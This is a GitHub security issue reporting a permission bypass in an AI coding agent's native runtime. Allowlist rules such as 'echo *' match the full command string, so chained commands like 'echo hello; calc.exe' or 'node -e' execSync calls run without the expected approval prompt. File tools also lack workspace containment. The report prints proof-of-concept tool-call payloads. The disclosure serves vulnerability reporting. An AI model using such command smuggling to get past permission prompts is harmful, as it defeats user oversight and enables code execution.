Skip to content

[BUG][SECURITY]Native Runtime permission bypass: Bash allowlist injection and unrestricted file tools lead to 0-click RCE #694

Open

Description

@3xsh0re

CodePilot 版本 / Version

0.67.17

操作系统与架构 / OS & arch

Windows11 x64

Runtime

Native

Provider / Model

all

是否可复现 / Reproducible?

每次都能复现 / always

复现步骤 / Steps to reproduce

Root Cause

1. Auto-allow rules

src/lib/permission-checker.ts:57-79:

const NORMAL_RULES: PermissionRule[] = [
  { permission: 'Read',  pattern: '*', action: 'allow' },
  { permission: 'Glob',  pattern: '*', action: 'allow' },
  { permission: 'Grep',  pattern: '*', action: 'allow' },
  { permission: 'Write', pattern: '*', action: 'allow' },
  { permission: 'Edit',  pattern: '*', action: 'allow' },
  { permission: 'Bash',  pattern: '*', action: 'ask' },
  { permission: 'Bash',  pattern: 'npm *',  action: 'allow' },
  { permission: 'Bash',  pattern: 'npx *',  action: 'allow' },
  { permission: 'Bash',  pattern: 'git *',  action: 'allow' },
  { permission: 'Bash',  pattern: 'node *', action: 'allow' },
  { permission: 'Bash',  pattern: 'cat *',  action: 'allow' },
  { permission: 'Bash',  pattern: 'ls *',   action: 'allow' },
  { permission: 'Bash',  pattern: 'echo *', action: 'allow' },
  { permission: 'Bash',  pattern: 'which *',action: 'allow' },
  { permission: 'Bash',  pattern: 'pwd',    action: 'allow' },
  ...
];

2. Full-string glob matching

extractMatchPattern returns the complete command for Bash:

if (toolName === 'Bash' && 'command' in input) {
  return (input as { command: string }).command;
}

findLastMatchingRule uses the last matching rule, so a later allow overrides Bash * ask.

isDangerousCommand only checks a small set of patterns (rm -rf, sudo, format, dd, git reset --hard, etc.); it does not reject shell separators or interpreters.

3. Shell execution

src/lib/tools/bash.ts:71-97:

const launch = buildShellLaunch(command);
spawn(launch.command, launch.args, {
  cwd: ctx.workingDirectory,
  env: launch.env,
  ...
});

On Windows, buildShellLaunch uses PowerShell -EncodedCommand. cwd is not a sandbox; the command can access the whole filesystem and spawn child processes.

4. Unrestricted file tools

src/lib/tools/read.ts, write.ts, edit.ts:

const resolved = path.isAbsolute(file_path)
  ? file_path
  : path.resolve(ctx.workingDirectory, file_path);

There is no realpath containment. Combined with Read/Write/Edit * allow, the agent can read secrets and write configuration files outside the workspace.

Attack Chain

Malicious Provider response
→ tool_use Bash {
    command: "echo hello; calc.exe"
  }
→ Native Runtime checkPermission('Bash', input, 'normal')
→ extractMatchPattern returns the full command
→ findLastMatchingRule: "echo *" allow overrides "Bash * ask"
→ createBashTool.execute
→ buildShellLaunch → PowerShell -EncodedCommand
→ echo hello; calc.exe
→ CalculatorApp

The same flow works with node -e, npm exec, npx, or git variants.

Reproduction

MLPE configuration

MLPE_DELIVERY=bash

Provider tool call (Variant A):

{
  "type": "tool_use",
  "name": "Bash",
  "input": {
    "command": "node -e \"require('child_process').execSync('calc.exe',{stdio:'ignore'})\""
  }
}

Provider tool call (Variant B):

{
  "type": "tool_use",
  "name": "Bash",
  "input": {
    "command": "echo hello; calc.exe"
  }
}

期望 vs 实际 / Expected vs actual

expected: trigger permission request
actual: directly execute

日志 / 截图 / session id

No response

影响面 / Impact

  • 涉及文件写入或可能误改/丢失数据 / involves file write or possible data loss
  • 导致崩溃、闪退或对话被自动中断 / causes crash / quit / auto-interrupt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    P0-data-loss-risk可能误改或丢失用户数据 / 文件bugSomething isn't working

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions